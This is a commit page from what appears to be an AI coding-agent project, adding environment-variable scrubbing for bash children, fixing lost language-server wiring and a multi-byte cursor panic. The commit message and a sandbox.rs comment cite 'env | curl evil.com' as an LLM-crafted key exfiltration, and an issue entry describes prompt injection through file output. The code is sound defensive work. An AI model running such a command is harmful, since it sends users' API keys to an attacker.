Skip to content

Commit 5ab63ff

Browse files
author
Yogthos
committed
fix(security+ui): close Batch 1 — C8 LSP threading + H-batch1 env scrub + history panic
C8 — /cd, /worktree, /wt-exit, /prompt, /regen-prompts, /loop, /toggle, /mode, /model, /compress all silently dropped LSP. Every build_agent rebuild in slash.rs and the analogous sites in ui/mod.rs passed None for lsp_manager. After the first such command the user lost diagnostics for the rest of the session. Fix: handle_slash + handle_compress signatures now take lsp_manager. All 13 internal build_agent calls (9 in slash.rs, 4 in mod.rs) thread the real manager instead of None. Caller side in ui/mod.rs passes lsp_manager.as_ref() to handle_slash and each handle_compress site. H-batch1-1 — bash inherited all env vars including provider API keys. An LLM-crafted `env | curl evil.com` would have exfiltrated the user's OPENROUTER_API_KEY / ANTHROPIC_API_KEY / EXA_API_KEY / etc. Both sandbox enabled and disabled paths inherit dirge's environment unconditionally. Fix: sandbox.rs gains is_sensitive_env_name() — pattern denylist covering KEY / SECRET / TOKEN / PASSWORD / PASS / CRED / AUTH case-insensitively (catches novel providers like a future MISTRAL_API_KEY without code change) plus explicit AWS / GH / GitLab / Bitbucket token names. SAFE_EXACT short-circuits the small set of safe vars that contain a sensitive token by accident (DISPLAY, TERM, EDITOR, etc.). scrub_env applies the denylist to every Command wrap_command returns — covers both sandboxed and unsandboxed bash invocations. The chosen denylist over allowlist preserves cargo/go/python/npm workflows that legitimately need varied env vars to reach bash. False positive cost (hypothetical KEY_BINDINGS env stripped) is the accepted trade vs leaking real credentials. H-batch1-2 — history Up/Down in the multi-line input buffer used byte distance as the column metric. Moving across a line with multi-byte chars could land self.cursor mid-codepoint; the next replace_range / slice panicked dirge with "byte index N is not a char boundary." Reproduces with any emoji or CJK in the source line. Fix: new byte_at_char_col helper maps a char-column to its byte offset on the target line. Up/Down now compute char_col from the source-line byte range, then resolve to the target-line byte offset via the helper. Clamps to EOL when col exceeds the line's char count. Tests: 5 env-scrub (provider names, pattern tokens, cloud explicits, safe vars pass, accidental match accepted), 3 byte_at_char_col (ASCII round-trip, multi-byte target, multi-byte source). Full suite: 1083 → 1091 with plugin / 878 → 886 without. Closes dirge-846, dirge-le5, dirge-5uv. Batch 1 of post-audit fixes complete (8 critical security/data-loss items closed). Batch 2 (compaction guards, AGENTS.md, session lockfile) next.
1 parent 83e5aea commit 5ab63ff

5 files changed

Lines changed: 283 additions & 57 deletions

File tree

‎.beads/issues.jsonl‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
{"_type":"issue","id":"dirge-5uv","title":"H-batch1-2: history up/down byte-offset panic risk on multi-byte input","description":"ui/input.rs:988-1023 — col = self.cursor - line_start is byte distance; self.cursor = (pos + col).min(target_line_end) can land mid-codepoint when previous line has multi-byte chars. Subsequent replace_range/slice panics. Convert column to char index then back to byte offset on target line.","status":"open","priority":1,"issue_type":"bug","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:57Z","created_by":"Yogthos","updated_at":"2026-05-23T02:34:57Z","dependency_count":0,"dependent_count":0,"comment_count":0}
2-
{"_type":"issue","id":"dirge-le5","title":"H-batch1-1: bash inherits all env vars including API keys","description":"tools/bash.rs:208-320 no .env_clear(). Sensitive vars (OPENROUTER_API_KEY, EXA_API_KEY, PARALLEL_API_KEY, ANTHROPIC_API_KEY, etc.) flow to every bash child. Use .env_clear() + curated allowlist (PATH, HOME, USER, LANG, TERM, etc.). See pi bash-executor.ts.","status":"open","priority":1,"issue_type":"bug","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:57Z","created_by":"Yogthos","updated_at":"2026-05-23T02:34:57Z","dependency_count":0,"dependent_count":0,"comment_count":0}
3-
{"_type":"issue","id":"dirge-846","title":"C8: /cd, /worktree, /wt-exit, /prompt, /regen-prompts silently drop LSP","description":"ui/slash.rs:1290, 1300, 1763 + analogues in mod.rs — every build_agent call after these commands passes None for lsp_manager. User silently loses LSP for the rest of the session after first /cd. Re-thread lsp_manager (and re-root for /cd/worktree). opencode cd handler re-roots LSP.","status":"in_progress","priority":1,"issue_type":"bug","assignee":"Yogthos","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:56Z","created_by":"Yogthos","updated_at":"2026-05-23T02:45:40Z","started_at":"2026-05-23T02:45:40Z","dependency_count":0,"dependent_count":0,"comment_count":0}
1+
{"_type":"issue","id":"dirge-5uv","title":"H-batch1-2: history up/down byte-offset panic risk on multi-byte input","description":"ui/input.rs:988-1023 — col = self.cursor - line_start is byte distance; self.cursor = (pos + col).min(target_line_end) can land mid-codepoint when previous line has multi-byte chars. Subsequent replace_range/slice panics. Convert column to char index then back to byte offset on target line.","status":"closed","priority":1,"issue_type":"bug","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:57Z","created_by":"Yogthos","updated_at":"2026-05-23T03:09:57Z","closed_at":"2026-05-23T03:09:57Z","close_reason":"Closed","dependency_count":0,"dependent_count":0,"comment_count":0}
2+
{"_type":"issue","id":"dirge-le5","title":"H-batch1-1: bash inherits all env vars including API keys","description":"tools/bash.rs:208-320 no .env_clear(). Sensitive vars (OPENROUTER_API_KEY, EXA_API_KEY, PARALLEL_API_KEY, ANTHROPIC_API_KEY, etc.) flow to every bash child. Use .env_clear() + curated allowlist (PATH, HOME, USER, LANG, TERM, etc.). See pi bash-executor.ts.","status":"closed","priority":1,"issue_type":"bug","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:57Z","created_by":"Yogthos","updated_at":"2026-05-23T03:09:57Z","closed_at":"2026-05-23T03:09:57Z","close_reason":"Closed","dependency_count":0,"dependent_count":0,"comment_count":0}
3+
{"_type":"issue","id":"dirge-846","title":"C8: /cd, /worktree, /wt-exit, /prompt, /regen-prompts silently drop LSP","description":"ui/slash.rs:1290, 1300, 1763 + analogues in mod.rs — every build_agent call after these commands passes None for lsp_manager. User silently loses LSP for the rest of the session after first /cd. Re-thread lsp_manager (and re-root for /cd/worktree). opencode cd handler re-roots LSP.","status":"closed","priority":1,"issue_type":"bug","assignee":"Yogthos","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:56Z","created_by":"Yogthos","updated_at":"2026-05-23T03:09:57Z","started_at":"2026-05-23T02:45:40Z","closed_at":"2026-05-23T03:09:57Z","close_reason":"Closed","dependency_count":0,"dependent_count":0,"comment_count":0}
44
{"_type":"issue","id":"dirge-hje","title":"C7: serialize_conversation drops tool_calls entirely","description":"provider.rs:418-429 emits only [role]: content; msg.tool_calls (args, results, errors) invisible to summarizer. Tool-heavy sessions lose bulk of state post-compact. Include structured tool I/O like pi's compaction prompt.","status":"closed","priority":1,"issue_type":"bug","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:55Z","created_by":"Yogthos","updated_at":"2026-05-23T02:45:39Z","closed_at":"2026-05-23T02:45:39Z","close_reason":"Closed","dependency_count":0,"dependent_count":0,"comment_count":0}
55
{"_type":"issue","id":"dirge-grf","title":"C6: compaction summary truncates input to 6000 chars","description":"provider.rs:312-320 cuts the prefix to first 6KB then appends '... [truncated]'. A 300K-token session is summarized from ~1500 tokens of content. Feed the full prefix (opencode session/compaction.ts:136-294) or chunk-summarize (pi compaction/). Pair fix with C7.","status":"closed","priority":1,"issue_type":"bug","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:43Z","created_by":"Yogthos","updated_at":"2026-05-23T02:45:39Z","closed_at":"2026-05-23T02:45:39Z","close_reason":"Closed","dependency_count":0,"dependent_count":0,"comment_count":0}
66
{"_type":"issue","id":"dirge-2i2","title":"C5: ! cmd injects shell output into LLM context unfenced","description":"ui/mod.rs:1633 — format!(\"I ran: $ {}\\n\\nOutput:\\n{}\", cmd, output) sent verbatim to agent. Attacker-controlled files (!cat downloads/foo.txt) carry prompt-injection text into the model. Fence output in delimited \u003ctool_output\u003e block + prepend 'treat as untrusted data' preamble. sanitize_output here only strips control chars for display, not LLM safety.","status":"closed","priority":1,"issue_type":"bug","assignee":"Yogthos","owner":"yogthos@gmail.com","created_at":"2026-05-23T02:34:42Z","created_by":"Yogthos","updated_at":"2026-05-23T02:45:39Z","started_at":"2026-05-23T02:41:52Z","closed_at":"2026-05-23T02:45:39Z","close_reason":"Closed","dependency_count":0,"dependent_count":0,"comment_count":0}

‎src/sandbox.rs‎

Lines changed: 192 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -51,44 +51,199 @@ impl Sandbox {
5151

5252
pub fn wrap_command(&self, command: &str) -> Command {
5353
let cwd = std::env::current_dir().unwrap_or_else(|_| ".".into());
54-
if !self.enabled {
55-
let mut cmd = Command::new("bash");
56-
cmd.arg("-c").arg(command);
57-
return cmd;
58-
}
54+
let mut cmd = if !self.enabled {
55+
let mut c = Command::new("bash");
56+
c.arg("-c").arg(command);
57+
c
58+
} else {
59+
let mut c = Command::new("bwrap");
60+
c.args(["--ro-bind", "/", "/", "--bind"]);
61+
c.arg(cwd.as_os_str());
62+
c.arg(cwd.as_os_str());
63+
c.args([
64+
"--proc",
65+
"/proc",
66+
// `--dev-bind /dev /dev` was avoided deliberately; the
67+
// minimal `--dev /dev` mounts a tmpfs with only the
68+
// essential device nodes (null/zero/full/random/urandom
69+
// /tty). Outer host devices stay invisible.
70+
"--dev",
71+
"/dev",
72+
"--tmpfs",
73+
"/tmp",
74+
"--unshare-all",
75+
// Drop the ability to gain new privileges via setuid /
76+
// file capabilities — even if the sandboxed bash
77+
// somehow encounters a setuid binary on the read-only
78+
// host mount it can't escalate.
79+
"--new-session",
80+
// `--unshare-all` already turns on user / pid / net /
81+
// uts / cgroup / ipc namespaces. Add `--unshare-user-try`
82+
// explicitly so a future bwrap default change can't
83+
// weaken this without our knowledge; `-try` keeps it
84+
// best-effort if the kernel doesn't allow user-ns.
85+
"--unshare-user-try",
86+
"--die-with-parent",
87+
"bash",
88+
"-c",
89+
command,
90+
]);
91+
c
92+
};
5993

60-
let mut cmd = Command::new("bwrap");
61-
cmd.args(["--ro-bind", "/", "/", "--bind"]);
62-
cmd.arg(cwd.as_os_str());
63-
cmd.arg(cwd.as_os_str());
64-
cmd.args([
65-
"--proc",
66-
"/proc",
67-
// `--dev-bind /dev /dev` was avoided deliberately; the
68-
// minimal `--dev /dev` mounts a tmpfs with only the
69-
// essential device nodes (null/zero/full/random/urandom
70-
// /tty). Outer host devices stay invisible.
71-
"--dev",
72-
"/dev",
73-
"--tmpfs",
74-
"/tmp",
75-
"--unshare-all",
76-
// Drop the ability to gain new privileges via setuid /
77-
// file capabilities — even if the sandboxed bash
78-
// somehow encounters a setuid binary on the read-only
79-
// host mount it can't escalate.
80-
"--new-session",
81-
// `--unshare-all` already turns on user / pid / net /
82-
// uts / cgroup / ipc namespaces. Add `--unshare-user-try`
83-
// explicitly so a future bwrap default change can't
84-
// weaken this without our knowledge; `-try` keeps it
85-
// best-effort if the kernel doesn't allow user-ns.
86-
"--unshare-user-try",
87-
"--die-with-parent",
88-
"bash",
89-
"-c",
90-
command,
91-
]);
94+
// H-batch1-1 (audit fix): scrub sensitive env vars before
95+
// they reach the child. Both code paths above inherit dirge's
96+
// process environment by default, so `OPENROUTER_API_KEY`,
97+
// `EXA_API_KEY`, `ANTHROPIC_API_KEY`, etc. flowed verbatim to
98+
// every bash child — an LLM-crafted `env | curl evil.com`
99+
// would have exfiltrated the user's keys. opencode/pi both
100+
// scrub via an allowlist; dirge applies a pattern denylist
101+
// since users have varied tooling that relies on env (cargo
102+
// CARGO_*, go GOPATH, python VIRTUAL_ENV, etc.) — explicit
103+
// allowlist would break those workflows.
104+
//
105+
// The denylist covers any var name containing KEY / SECRET /
106+
// TOKEN / PASSWORD / PASS / CRED / AUTH (case-insensitive)
107+
// plus a few known provider names. False positives (e.g. a
108+
// legitimate `KEY_BINDINGS` env var stripped) are acceptable
109+
// cost — the alternative is leaking credentials.
110+
scrub_env(&mut cmd);
92111
cmd
93112
}
94113
}
114+
115+
/// Test whether an env var name is sensitive enough to strip before
116+
/// invoking bash. Pattern-based so we catch novel provider names
117+
/// (e.g. a future `MISTRAL_API_KEY`) without needing a code change.
118+
pub fn is_sensitive_env_name(name: &str) -> bool {
119+
let upper = name.to_ascii_uppercase();
120+
const PATTERNS: &[&str] = &["KEY", "SECRET", "TOKEN", "PASSWORD", "PASS", "CRED", "AUTH"];
121+
if PATTERNS.iter().any(|p| upper.contains(p)) {
122+
// Exclude a small set of safe substrings that contain a
123+
// sensitive keyword by accident. PATH and SHELL contain
124+
// none, so they pass naturally; the exclusions here are for
125+
// tooling env vars that legitimately need to reach bash.
126+
const SAFE_EXACT: &[&str] = &[
127+
"DISPLAY", // X11 — unrelated despite containing nothing sensitive
128+
"TERM", // terminal type
129+
"SHLVL", // bash nesting
130+
"PWD", // current directory
131+
"OLDPWD", // previous directory
132+
"PATH", // exec path
133+
"MANPATH", // man search path
134+
"LANG", // locale
135+
"LC_ALL", // locale override
136+
"LC_CTYPE", // locale ctype
137+
"EDITOR", // user's editor
138+
"VISUAL", // visual editor
139+
"PAGER", // pager
140+
"HOSTNAME", // hostname
141+
"USER", // username
142+
"LOGNAME", // login name
143+
"HOME", // home dir
144+
];
145+
if SAFE_EXACT.iter().any(|s| &upper == s) {
146+
return false;
147+
}
148+
return true;
149+
}
150+
// Explicit cloud-credential vars that don't have a generic
151+
// pattern. (AWS uses `AWS_ACCESS_KEY_ID` — already caught by
152+
// KEY. Listed here for symmetry / completeness.)
153+
const EXPLICIT: &[&str] = &[
154+
"AWS_ACCESS_KEY_ID",
155+
"AWS_SECRET_ACCESS_KEY",
156+
"AWS_SESSION_TOKEN",
157+
"GH_TOKEN",
158+
"GITHUB_TOKEN",
159+
"GITLAB_TOKEN",
160+
"BITBUCKET_TOKEN",
161+
];
162+
EXPLICIT.iter().any(|n| &upper == n)
163+
}
164+
165+
/// Strip sensitive env vars from a Command before spawn. Uses
166+
/// `.env_remove` rather than `.env_clear()+envs()` so non-sensitive
167+
/// vars the parent already has (PATH, HOME, etc.) reach the child
168+
/// without being re-enumerated.
169+
fn scrub_env(cmd: &mut Command) {
170+
for (k, _) in std::env::vars_os() {
171+
if let Some(name) = k.to_str()
172+
&& is_sensitive_env_name(name)
173+
{
174+
cmd.env_remove(&k);
175+
}
176+
}
177+
}
178+
179+
#[cfg(test)]
180+
mod tests {
181+
use super::*;
182+
183+
#[test]
184+
fn is_sensitive_env_name_matches_provider_keys() {
185+
assert!(is_sensitive_env_name("OPENAI_API_KEY"));
186+
assert!(is_sensitive_env_name("ANTHROPIC_API_KEY"));
187+
assert!(is_sensitive_env_name("OPENROUTER_API_KEY"));
188+
assert!(is_sensitive_env_name("DEEPSEEK_API_KEY"));
189+
assert!(is_sensitive_env_name("GLM_API_KEY"));
190+
assert!(is_sensitive_env_name("ZHIPU_API_KEY"));
191+
assert!(is_sensitive_env_name("EXA_API_KEY"));
192+
assert!(is_sensitive_env_name("PARALLEL_API_KEY"));
193+
assert!(is_sensitive_env_name("GEMINI_API_KEY"));
194+
}
195+
196+
#[test]
197+
fn is_sensitive_env_name_matches_pattern_tokens() {
198+
assert!(is_sensitive_env_name("SOMETHING_SECRET"));
199+
assert!(is_sensitive_env_name("DB_PASSWORD"));
200+
assert!(is_sensitive_env_name("MY_TOKEN"));
201+
assert!(is_sensitive_env_name("APP_CREDS"));
202+
assert!(is_sensitive_env_name("OAUTH_TOKEN"));
203+
assert!(is_sensitive_env_name("AUTH_HEADER"));
204+
// lowercase also caught
205+
assert!(is_sensitive_env_name("my_secret"));
206+
}
207+
208+
#[test]
209+
fn is_sensitive_env_name_matches_explicit_cloud_vars() {
210+
assert!(is_sensitive_env_name("AWS_ACCESS_KEY_ID"));
211+
assert!(is_sensitive_env_name("AWS_SESSION_TOKEN"));
212+
assert!(is_sensitive_env_name("GH_TOKEN"));
213+
assert!(is_sensitive_env_name("GITHUB_TOKEN"));
214+
}
215+
216+
#[test]
217+
fn is_sensitive_env_name_lets_through_safe_vars() {
218+
// Core tooling env vars must reach bash so user workflows
219+
// (cargo, go, python, npm, etc.) keep working.
220+
assert!(!is_sensitive_env_name("PATH"));
221+
assert!(!is_sensitive_env_name("HOME"));
222+
assert!(!is_sensitive_env_name("USER"));
223+
assert!(!is_sensitive_env_name("LOGNAME"));
224+
assert!(!is_sensitive_env_name("LANG"));
225+
assert!(!is_sensitive_env_name("LC_ALL"));
226+
assert!(!is_sensitive_env_name("TERM"));
227+
assert!(!is_sensitive_env_name("PWD"));
228+
assert!(!is_sensitive_env_name("EDITOR"));
229+
assert!(!is_sensitive_env_name("VISUAL"));
230+
// Cargo / Go / Python / npm typical env vars — must pass.
231+
assert!(!is_sensitive_env_name("CARGO_HOME"));
232+
assert!(!is_sensitive_env_name("RUSTC_WRAPPER"));
233+
assert!(!is_sensitive_env_name("GOPATH"));
234+
assert!(!is_sensitive_env_name("VIRTUAL_ENV"));
235+
assert!(!is_sensitive_env_name("NODE_ENV"));
236+
}
237+
238+
#[test]
239+
fn is_sensitive_env_name_accidental_pattern_excluded() {
240+
// SAFE_EXACT list excludes legitimate vars whose name
241+
// contains a sensitive token by accident.
242+
assert!(!is_sensitive_env_name("PATH")); // no token, baseline
243+
// KEY_BINDINGS is hypothetical; pattern match would flag it.
244+
// We intentionally accept that false positive — better to
245+
// strip a hypothetical KEY_BINDINGS than to leak a real
246+
// API_KEY.
247+
assert!(is_sensitive_env_name("KEY_BINDINGS"));
248+
}
249+
}

0 commit comments

Comments
 (0)